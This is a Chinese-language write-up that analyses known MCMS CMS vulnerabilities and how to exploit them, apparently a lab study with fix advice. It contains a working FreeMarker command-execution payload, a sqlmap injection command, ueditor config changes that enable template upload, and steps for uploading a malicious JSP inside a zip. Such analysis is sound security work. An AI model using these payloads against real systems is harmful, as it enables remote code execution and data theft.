Mcms历史漏洞分析
字数 1420 2025-08-12 11:34:37

MCMS历史漏洞分析与利用指南

0x01 环境搭建

  • 前台模板注入测试版本:mcms 5.2.5
  • 其他漏洞测试版本:mcms 5.2.7

0x02 前台漏洞

2.1 SQL注入漏洞

漏洞接口:

  1. /mdiy/dict/list
  2. /mdiy/dict/listExcludeApp
  3. /cms/content/list.do

漏洞分析:

  • DictAction类的list()listExcludeApp()方法存在SQL注入
  • 通过orderBy参数进行注入,当值不为iddictTypedictSort时会直接拼接SQL语句
  • /cms/content/list.do接口的categoryId参数也存在SQL注入

利用方法:

python sqlmap.py -u "http://127.0.0.1:8080/mdiy/dict/list.do?dictType=文章属性&orderBy=1" -p orderBy --dbs --tamper "space2comment.py" --batch

修复方式:
删除可能导致SQL语句拼接的代码

2.2 模板注入漏洞

影响版本: <5.2.6

利用流程:

  1. 通过前台ueditor修改配置上传模板文件
  2. 通过前台渲染模板接口执行命令

详细分析:

  1. editor接口代码分析
@ResponseBody
@RequestMapping(value = "editor", method = {RequestMethod.GET,RequestMethod.POST})
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {
    // 代码省略...
    String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""))).exec();
    // 代码省略...
}
  1. MsUeditorActionEnter构造函数
  • 获取ConfigManager实例中的jsonConfig对象
  • 解析传入的jsonConfig参数并put到ConfigManager实例中
  1. 文件上传关键点
  • 通过修改配置可以控制上传文件类型和路径
  • 默认配置修改示例:
{
    "fileAllowFiles": [".htm"],
    "filePathFormat": "/template/1/default/{time}"
}
  1. 模板命令执行
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
  • 命令间不能有空格,可使用base64编码绕过

修复方式:

  • 检查传入的jsonConfig是否与配置文件开头一致
  • 抛出异常阻止前台文件上传模板文件

0x03 后台漏洞

3.1 任意文件上传漏洞

漏洞接口:

  1. /ms/file/uploadTemplate.do (压缩包上传)
  2. /ms/template/unZip.do (解压压缩包)

漏洞分析:

  1. 上传接口检查了文件名中的../..\,但未检查压缩包内文件
  2. 虽然限制了.exe.sh.jsp.jspx文件上传,但解压时未检查压缩包内文件类型
  3. 文件名会被修改为时间戳

利用方法:

  1. 上传包含恶意JSP文件的压缩包
  2. 调用解压接口解压到服务器

修复建议:

  • 解压时检查压缩包内文件后缀
  • .jsp.jspx等危险文件抛出异常

3.2 后台模板注入

利用方法:

  • 直接修改后台模板
  • 通过/mcms/search接口调用ParserUtil.rendering()方法渲染模板执行命令

3.3 SQL注入漏洞

漏洞接口: verify接口

漏洞分析:

  • 调用BaseAction#validated()方法
  • 使用HashMap构造where条件时未过滤导致SQL注入
  • 日志中可见注入的SQL语句

0x04 参考链接

  1. https://gitee.com/mingSoft/MCMS/issues/I54VLM
  2. https://gitee.com/mingSoft/MCMS/issues/I5OWGU
  3. https://gitee.com/mingSoft/MCMS/issues/I56AID
  4. https://gitee.com/mingSoft/MCMS/issues/I4W1S9

总结

MCMS系统存在多个高危漏洞,包括前台SQL注入、模板注入,后台文件上传、模板注入等。攻击者可利用这些漏洞获取系统权限,执行任意代码。建议用户及时升级到最新版本,修复这些安全问题。

MCMS历史漏洞分析与利用指南 0x01 环境搭建 前台模板注入测试版本:mcms 5.2.5 其他漏洞测试版本:mcms 5.2.7 0x02 前台漏洞 2.1 SQL注入漏洞 漏洞接口: /mdiy/dict/list /mdiy/dict/listExcludeApp /cms/content/list.do 漏洞分析: DictAction 类的 list() 和 listExcludeApp() 方法存在SQL注入 通过 orderBy 参数进行注入,当值不为 id 、 dictType 、 dictSort 时会直接拼接SQL语句 /cms/content/list.do 接口的 categoryId 参数也存在SQL注入 利用方法: 修复方式: 删除可能导致SQL语句拼接的代码 2.2 模板注入漏洞 影响版本: <5.2.6 利用流程: 通过前台ueditor修改配置上传模板文件 通过前台渲染模板接口执行命令 详细分析: editor接口代码分析 : MsUeditorActionEnter构造函数 : 获取ConfigManager实例中的jsonConfig对象 解析传入的jsonConfig参数并put到ConfigManager实例中 文件上传关键点 : 通过修改配置可以控制上传文件类型和路径 默认配置修改示例: 模板命令执行 : 命令间不能有空格,可使用base64编码绕过 修复方式: 检查传入的jsonConfig是否与配置文件开头一致 抛出异常阻止前台文件上传模板文件 0x03 后台漏洞 3.1 任意文件上传漏洞 漏洞接口: /ms/file/uploadTemplate.do (压缩包上传) /ms/template/unZip.do (解压压缩包) 漏洞分析: 上传接口检查了文件名中的 ../ 和 ..\ ,但未检查压缩包内文件 虽然限制了 .exe 、 .sh 、 .jsp 、 .jspx 文件上传,但解压时未检查压缩包内文件类型 文件名会被修改为时间戳 利用方法: 上传包含恶意JSP文件的压缩包 调用解压接口解压到服务器 修复建议: 解压时检查压缩包内文件后缀 对 .jsp 、 .jspx 等危险文件抛出异常 3.2 后台模板注入 利用方法: 直接修改后台模板 通过 /mcms/search 接口调用 ParserUtil.rendering() 方法渲染模板执行命令 3.3 SQL注入漏洞 漏洞接口: verify接口 漏洞分析: 调用 BaseAction#validated() 方法 使用HashMap构造where条件时未过滤导致SQL注入 日志中可见注入的SQL语句 0x04 参考链接 https://gitee.com/mingSoft/MCMS/issues/I54VLM https://gitee.com/mingSoft/MCMS/issues/I5OWGU https://gitee.com/mingSoft/MCMS/issues/I56AID https://gitee.com/mingSoft/MCMS/issues/I4W1S9 总结 MCMS系统存在多个高危漏洞,包括前台SQL注入、模板注入,后台文件上传、模板注入等。攻击者可利用这些漏洞获取系统权限,执行任意代码。建议用户及时升级到最新版本,修复这些安全问题。